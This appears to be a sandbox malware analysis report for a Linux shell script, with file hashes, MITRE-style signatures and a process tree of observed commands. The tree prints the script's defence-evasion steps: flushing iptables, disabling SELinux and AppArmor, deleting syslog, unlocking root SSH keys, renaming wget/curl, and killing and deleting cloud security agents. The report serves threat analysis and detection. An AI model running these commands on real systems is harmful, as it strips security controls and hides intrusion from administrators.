Analysis
- max time kernel
22s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
13/09/2026, 18:11
Static task
static1
Behavioral task
behavioral1
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
Resource
debian9-mipsel-20260513-en
General
- Target 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
- Size 46KB
- Sample260913-wspcta1elf
- SHA256 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40
- MD5 150dc9ae7c5729552ec2e92a7bc49095
- SHA1 2aed6d97f2c3400e1eb7e136e245a6f45ef4ae1f
- SHA512 13c40ba893a9f7a0f3e674400025f65e041e91f09b6def779078e391e35a3dedaf55742e68ae0b9b6f3c9120c1628266fb16348b674e988d146ed3d7b2c3f9c7
- SSDEEP 768:bxlT2wDuWvWi7JFNcuFkc2zq0x3UKnicZuiR/amT8z:8wF+Lc2/FicfSmT8z
- TLSH T15F23AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 648 chmod 646 chmod - Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
description ioc Process File deleted /var/log/syslog rm - Disables AppArmor Mandatory Access Control 1 TTPs 28 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
pid Process 786 systemctl 789 systemctl 751 systemctl 759 systemctl 779 systemctl 783 systemctl 787 systemctl 754 systemctl 754 systemctl 791 systemctl 707 systemctl 754 systemctl 754 systemctl 754 systemctl 707 systemctl 707 systemctl 765 systemctl 781 systemctl 782 systemctl 788 systemctl 790 systemctl 754 systemctl 707 systemctl 707 systemctl 707 systemctl 778 systemctl 784 systemctl 785 systemctl - Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 657 iptables -
pid Process 706 setenforce 1218 grep - Enumerates running processes
Discovers information about currently running processes on the system
- Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
pid Process 1128 xargs 1205 xargs 1225 xargs 651 chattr 890 xargs 939 xargs 997 xargs 1027 xargs 1073 xargs 705 grep 915 xargs 929 chattr 931 chattr 949 xargs 1123 xargs 1175 xargs 871 xargs 926 chattr 1015 xargs 1088 xargs 1093 xargs 1200 xargs 900 xargs 925 chattr 955 xargs 1108 xargs 1220 xargs 1230 xargs 654 chattr 721 systemctl 783 systemctl 895 xargs 928 chattr 991 xargs 1052 xargs 1143 xargs 796 xargs 930 chattr 1057 xargs 1062 xargs 1153 xargs 1180 xargs 1210 xargs 673 chattr 801 xargs 961 xargs 973 xargs 1042 xargs 665 chattr 920 chattr 979 xargs 1103 xargs 1158 xargs 1195 xargs 703 grep 910 xargs 921 chattr 922 chattr 985 xargs 885 xargs 1078 xargs 1164 xargs 1235 xargs 671 chattr - Write file to user bin folder 6 IoCs
description ioc Process File opened for modification /usr/bin/ip6network 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh File opened for modification /usr/bin/kswaped 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh File opened for modification /usr/bin/irqbalanced 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh File opened for modification /usr/bin/rctlcli 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh File opened for modification /usr/bin/systemd-network 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh File opened for modification /usr/bin/pamdicks 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh - Discovers running processes 1 TTPs 58 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 906 ps 1074 ps 1154 ps 1206 ps 1099 ps 1216 ps 1079 ps 896 ps 1064 ps 1089 ps 1119 ps 1165 ps 1171 ps 1231 ps 876 ps 1058 ps 1109 ps 830 ps 1129 ps 1196 ps 1211 ps 1114 ps 1226 ps 704 ps 797 ps 881 ps 1144 ps 1186 ps 1191 ps 816 ps 1038 ps 867 ps 1048 ps 1104 ps 858 ps 1134 ps 1139 ps 1043 ps 1084 ps 1094 ps 1149 ps 886 ps 1033 ps 1181 ps 1201 ps 792 ps 1176 ps 842 ps 901 ps 911 ps 1053 ps 1124 ps 702 ps 1069 ps 1160 ps 802 ps 891 ps 1221 ps - Reads CPU attributes 1 TTPs 60 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/filesystems sed File opened for reading /proc/110/stat ps File opened for reading /proc/108/cmdline ps File opened for reading /proc/41/status ps File opened for reading /proc/582/stat ps File opened for reading /proc/226/cmdline ps File opened for reading /proc/1190/stat ps File opened for reading /proc/18/status ps File opened for reading /proc/16/status ps File opened for reading /proc/6/stat ps File opened for reading /proc/17/status ps File opened for reading /proc/633/stat ps File opened for reading /proc/1/status ps File opened for reading /proc/327/stat ps File opened for reading /proc/22/cmdline ps File opened for reading /proc/587/cmdline ps File opened for reading /proc/280/status ps File opened for reading /proc/28/status ps File opened for reading /proc/1163/stat ps File opened for reading /proc/19/cmdline ps File opened for reading /proc/9/stat ps File opened for reading /proc/12/stat ps File opened for reading /proc/641/status ps File opened for reading /proc/19/stat ps File opened for reading /proc/6/stat ps File opened for reading /proc/170/cmdline ps File opened for reading /proc/662/stat ps File opened for reading /proc/336/status ps File opened for reading /proc/567/cmdline ps File opened for reading /proc/12/status ps File opened for reading /proc/16/status ps File opened for reading /proc/1183/status ps File opened for reading /proc/108/status ps File opened for reading /proc/29/cmdline ps File opened for reading /proc/8/status ps File opened for reading /proc/1/cmdline ps File opened for reading /proc/23/stat ps File opened for reading /proc/13/cmdline ps File opened for reading /proc/self/stat ps File opened for reading /proc/24/status ps File opened for reading /proc/23/status ps File opened for reading /proc/42/cmdline ps File opened for reading /proc/170/status ps File opened for reading /proc/100/cmdline ps File opened for reading /proc/tty/drivers ps File opened for reading /proc/21/status ps File opened for reading /proc/7/status ps File opened for reading /proc/895/stat ps File opened for reading /proc/108/cmdline ps File opened for reading /proc/self/fd xargs File opened for reading /proc/23/cmdline ps File opened for reading /proc/856/status ps File opened for reading /proc/12/stat ps File opened for reading /proc/1177/stat ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/633/status ps File opened for reading /proc/17/status ps File opened for reading /proc/111/stat ps File opened for reading /proc/336/status ps File opened for reading /proc/292/cmdline ps File opened for reading /proc/78/stat ps File opened for reading /proc/42/status ps File opened for reading /proc/22/cmdline ps File opened for reading /proc/20/stat ps - System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 920 chattr 926 chattr 1213 grep - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/dev/null 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
Processes
-
/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh1⤵
- Write file to user bin folder
- Writes file to tmp directory
PID:644 -
/bin/chmodchmod 777 /usr/bin/chattr2⤵
- File and Directory Permissions Modification
PID:646
-
-
/bin/chmodchmod 777 /bin/chattr2⤵
- File and Directory Permissions Modification
PID:648
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Removes the immutable protection flag from a file
PID:651
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Removes the immutable protection flag from a file
PID:654
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:657
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Removes the immutable protection flag from a file
PID:665
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Removes the immutable protection flag from a file
PID:671
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Removes the immutable protection flag from a file
PID:673
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:674
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:676
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:678
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:679
-
-
/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
PID:680
-
-
/bin/syncsync2⤵PID:682
-
-
/bin/catcat /var/spool/cron/2⤵PID:686
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:687
-
-
/bin/mvmv /usr/bin/wgettnt /usr/bin/wd12⤵PID:688
-
-
/bin/mvmv /usr/bin/curltnt /usr/bin/cd12⤵PID:689
-
-
/bin/mvmv /usr/bin/wget1 /usr/bin/wd12⤵PID:690
-
-
/bin/mvmv /usr/bin/curl1 /usr/bin/cd12⤵PID:691
-
-
/bin/mvmv /usr/bin/cur /usr/bin/cd12⤵PID:693
-
-
/bin/mvmv /usr/bin/cdl /usr/bin/cd12⤵PID:694
-
-
/bin/mvmv /usr/bin/cdt /usr/bin/cd12⤵PID:695
-
-
/bin/mvmv /usr/bin/xget /usr/bin/wd12⤵PID:696
-
-
/bin/mvmv /usr/bin/wge /usr/bin/wd12⤵PID:697
-
-
/bin/mvmv /usr/bin/wdl /usr/bin/wd12⤵PID:698
-
-
/bin/mvmv /usr/bin/wdt /usr/bin/wd12⤵PID:699
-
-
/bin/mvmv /usr/bin/wget /usr/bin/wd12⤵PID:700
-
-
/bin/mvmv /usr/bin/curl /usr/bin/cd12⤵PID:701
-
-
/bin/grepgrep -i "[a]liyun"2⤵
- Removes the immutable protection flag from a file
PID:703
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:702
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Removes the immutable protection flag from a file
PID:705
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:704
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:706
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:707
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:708
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:709
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:710
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
PID:712
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
- Reads runtime system information
PID:713
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:714
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:715
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:716
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:719
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Removes the immutable protection flag from a file
- Enumerates kernel/hardware configuration
PID:721
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:725
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:728
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:731
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:735
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:739
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:742
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:746
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:707
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:707
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:707
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:707
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:707
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:707
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:751
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:754
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:756
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:757
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:759
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:765
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:766
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:778
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:779
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:781
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:782
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
- Removes the immutable protection flag from a file
- Enumerates kernel/hardware configuration
PID:783
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:784
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:785
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:786
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:787
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:788
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:789
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:790
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:754
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:754
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:754
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:754
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:754
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:754
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:791
-
-
/bin/grepgrep -v grep2⤵PID:793
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:792
-
-
/bin/grepgrep aegis2⤵PID:794
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:801
-
-
/bin/grepgrep Yun2⤵PID:799
-
-
/bin/grepgrep -v grep2⤵PID:798
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:800
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:797
-
-
/usr/bin/xargsxargs dirname2⤵PID:806
-
/usr/local/sbin/dirnamedirname3⤵PID:812
-
-
/usr/local/bin/dirnamedirname3⤵PID:812
-
-
/usr/sbin/dirnamedirname3⤵PID:812
-
-
/usr/bin/dirnamedirname3⤵PID:812
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:805
-
-
/bin/grepgrep aegis2⤵PID:804
-
-
/bin/grepgrep -v grep2⤵PID:803
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:807
-
/usr/local/sbin/rmrm -rf3⤵PID:814
-
-
/usr/local/bin/rmrm -rf3⤵PID:814
-
-
/usr/sbin/rmrm -rf3⤵PID:814
-
-
/usr/bin/rmrm -rf3⤵PID:814
-
-
/sbin/rmrm -rf3⤵PID:814
-
-
/bin/rmrm -rf3⤵PID:814
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:802
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:821
-
/usr/local/sbin/rmrm -rf3⤵PID:828
-
-
/usr/local/bin/rmrm -rf3⤵PID:828
-
-
/usr/sbin/rmrm -rf3⤵PID:828
-
-
/usr/bin/rmrm -rf3⤵PID:828
-
-
/sbin/rmrm -rf3⤵PID:828
-
-
/bin/rmrm -rf3⤵PID:828
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:819
-
-
/bin/grepgrep hids2⤵PID:818
-
-
/bin/grepgrep -v grep2⤵PID:817
-
-
/usr/bin/xargsxargs dirname2⤵PID:820
-
/usr/local/sbin/dirnamedirname3⤵PID:826
-
-
/usr/local/bin/dirnamedirname3⤵PID:826
-
-
/usr/sbin/dirnamedirname3⤵PID:826
-
-
/usr/bin/dirnamedirname3⤵PID:826
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:816
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:835
-
/usr/local/sbin/rmrm -rf3⤵PID:841
-
-
/usr/local/bin/rmrm -rf3⤵PID:841
-
-
/usr/sbin/rmrm -rf3⤵PID:841
-
-
/usr/bin/rmrm -rf3⤵PID:841
-
-
/sbin/rmrm -rf3⤵PID:841
-
-
/bin/rmrm -rf3⤵PID:841
-
-
-
/usr/bin/xargsxargs dirname2⤵PID:834
-
/usr/local/sbin/dirnamedirname3⤵PID:839
-
-
/usr/local/bin/dirnamedirname3⤵PID:839
-
-
/usr/sbin/dirnamedirname3⤵PID:839
-
-
/usr/bin/dirnamedirname3⤵PID:839
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:833
-
-
/bin/grepgrep cloudwalker2⤵PID:832
-
-
/bin/grepgrep -v grep2⤵PID:831
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:830
-
-
/usr/bin/xargsxargs dirname2⤵PID:846
-
/usr/local/sbin/dirnamedirname3⤵PID:853
-
-
/usr/local/bin/dirnamedirname3⤵PID:853
-
-
/usr/sbin/dirnamedirname3⤵PID:853
-
-
/usr/bin/dirnamedirname3⤵PID:853
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:848
-
/usr/local/sbin/rmrm -rf3⤵PID:855
-
-
/usr/local/bin/rmrm -rf3⤵PID:855
-
-
/usr/sbin/rmrm -rf3⤵PID:855
-
-
/usr/bin/rmrm -rf3⤵PID:855
-
-
/sbin/rmrm -rf3⤵PID:855
-
-
/bin/rmrm -rf3⤵PID:855
-
-
-
/bin/grepgrep titanagent2⤵PID:844
-
-
/bin/grepgrep -v grep2⤵PID:843
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:842
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:845
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:862
-
-
/bin/grepgrep edr2⤵PID:860
-
-
/bin/grepgrep -v grep2⤵PID:859
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:861
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:858
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:871
-
-
/bin/grepgrep aegis2⤵PID:869
-
-
/bin/grepgrep -v grep2⤵PID:868
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:867
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:870
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:880
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:879
-
-
/bin/grepgrep Yun2⤵PID:878
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:876
-
-
/bin/grepgrep -v grep2⤵PID:877
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:885
-
-
/bin/grepgrep hids2⤵PID:883
-
-
/bin/grepgrep -v grep2⤵PID:882
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:884
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:881
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:890
-
-
/bin/grepgrep edr2⤵PID:888
-
-
/bin/grepgrep -v grep2⤵PID:887
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:889
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:886
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:895
-
-
/bin/grepgrep cloudwalker2⤵PID:893
-
-
/bin/grepgrep -v grep2⤵PID:892
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:894
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:891
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:900
-
-
/bin/grepgrep titanagent2⤵PID:898
-
-
/bin/grepgrep -v grep2⤵PID:897
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:899
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:896
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:905
-
-
/bin/grepgrep sgagent2⤵PID:903
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:904
-
-
/bin/grepgrep -v grep2⤵PID:902
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:901
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:910
-
-
/bin/grepgrep barad_agent2⤵PID:908
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:909
-
-
/bin/grepgrep -v grep2⤵PID:907
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:906
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:915
-
-
